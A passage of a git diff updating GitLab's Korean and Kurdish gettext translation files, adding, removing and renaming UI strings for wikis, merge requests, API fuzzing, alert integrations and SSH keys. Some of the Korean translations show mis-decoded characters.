+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32623,9 +33380,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32692,7 +33446,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32701,6 +33470,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -32850,9 +33625,15 @@ msgstr "ë¼ë²¨ë³´ê¸°"
msgid "View log"
msgstr "로그 보기"
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr "열린 머지 리퀘스트(MR)보기"
@@ -32880,6 +33661,9 @@ msgstr ""
msgid "View the documentation"
msgstr "문서 보기"
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -32889,6 +33673,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33294,15 +34081,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33477,6 +34279,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33574,9 +34379,6 @@ msgstr "Gollum 설치"
msgid "WikiClone|Start Gollum and edit locally"
msgstr "Gollumì„ ì‹œìž‘í•˜ê³  로컬 편집"
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr "íŒ: ì œëª©ì˜ ì‹œìž‘ ë¶€ë¶„ì— ê²½ë¡œë¥¼ ì¶”ê°€í•˜ì—¬ì´ íŽ˜ì´ì§€ë¥¼ ì´ë™í•  수 있습니다."
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr "ì œëª©ì˜ ê²½ë¡œì™€ ê°™ì€ ê³³ì— íŽ˜ì´ì§€ê°€ ì´ë¯¸ 존재합니다."
@@ -33649,18 +34451,6 @@ msgstr "ì´ë ¥"
msgid "WikiHistoricalPage|most recent version"
msgstr "최신 버전"
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
-msgstr "ë” ë§Žì€ ì˜ˆì œëŠ” %{docs_link}를 확ì¸í•˜ì„¸ìš”."
-
-msgid "WikiMarkdownDocs|documentation"
-msgstr "문서"
-
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
-msgstr ""
-
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
-msgstr "íŒ: 새로운 파ì¼ì— 대한 full path를 지정할 수 있습니다. 존재하지 않는 ë””ë ‰í† ë¦¬ë“¤ì€ ìžë™ì ìœ¼ë¡œ ìƒì„±ë©ë‹ˆë‹¤."
-
msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr "ì´ íŽ˜ì´ì§€ë¥¼ 삭제하시겠습니까?"
@@ -33673,10 +34463,37 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Commit message"
+msgstr ""
+
+msgid "WikiPage|Content"
+msgstr ""
+
+msgid "WikiPage|Create %{pageTitle}"
+msgstr ""
+
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33688,9 +34505,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr "페ì´ì§€ 만들기"
-
msgid "Wiki|Created date"
msgstr ""
@@ -33703,9 +34517,6 @@ msgstr "새 페ì´ì§€"
msgid "Wiki|Page history"
msgstr "페ì´ì§€ ì´ë ¥"
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr "페ì´ì§€ 버전"
@@ -33766,6 +34577,9 @@ msgstr "코멘트를 작성하거나 파ì¼ì„ 여기로 드래그하십시오â€
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -33922,6 +34736,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34063,6 +34883,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34147,9 +34970,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34186,12 +35006,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34225,7 +35039,7 @@ msgstr "비밀번호를 변경하기 위해서 현재 비밀번호를 제공해ì
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34240,9 +35054,6 @@ msgstr ""
msgid "You need permission."
msgstr "ê¶Œí•œì´ í•„ìš”í•©ë‹ˆë‹¤."
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34426,12 +35237,18 @@ msgstr "ë‚˜ì˜ í”„ë¡œì íŠ¸ 활ë™"
msgid "Your Public Email will be displayed on your public profile."
msgstr "ë‚´ 공개 ì´ë©”ì¼ì´ ë‚´ 공개 í”„ë¡œí•„ì— í‘œì‹œë©ë‹ˆë‹¤."
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr "ë‚˜ì˜ í•  ì¼ ëª©ë¡"
@@ -34552,6 +35369,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34645,7 +35465,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34751,6 +35571,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35052,6 +35875,15 @@ msgstr "ê°œì¸ í‚¤ë¥¼ ì½ì„ 수 없습니다. 암호가 맞습니까?"
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35231,6 +36063,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr "https://나ì˜-bitbucket-server"
@@ -35400,7 +36235,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35434,13 +36269,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35554,9 +36386,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr "%{branch} 브랜치가 로컬 ì €ìž¥ì†Œì— ìžˆìœ¼ë©´ ì´ ë¨¸ì§€ 리퀘스트(MR)를 다ìŒê³¼ ê°™ì´ ìˆ˜ë™ìœ¼ë¡œ 머지할 수 있습니다."
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "만약 %{missingBranchName} 브랜치가 ë‹¹ì‹ ì˜ ë¡œì»¬ ì €ìž¥ì†Œì— ì¡´ìž¬í•œë‹¤ë©´, ëª…ë ¹ì¤„ì„ ì‚¬ìš©í•˜ì—¬ 수ë™ìœ¼ë¡œ 머지할 수 있습니다."
@@ -35707,18 +36536,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr "ì´ ë¨¸ì§€ 리퀘스트(MR)를 수ë™ìœ¼ë¡œ 머지할 수 있습니다."
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr "브랜치가 존재하지 않습니다."
-msgid "mrWidget|command line"
-msgstr "명령줄"
-
msgid "mrWidget|into"
msgstr "로"
@@ -35749,9 +36572,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -35818,15 +36638,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr "%{timeAgo}ì— ì—´ë¦¼"
@@ -36099,9 +36910,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr "목ë¡ìœ¼ë¡œ ì´ë™"
-
msgid "toggle collapse"
msgstr ""
@@ -36147,6 +36955,12 @@ msgstr "사용ìžëª…"
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/ku_TR/gitlab.po b/locale/ku_TR/gitlab.po
index 3a8a1b8dec4..e87e7ebab8c 100644
--- a/locale/ku_TR/gitlab.po
+++ b/locale/ku_TR/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ku\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:56\n"
+"PO-Revision-Date: 2021-04-02 00:18\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
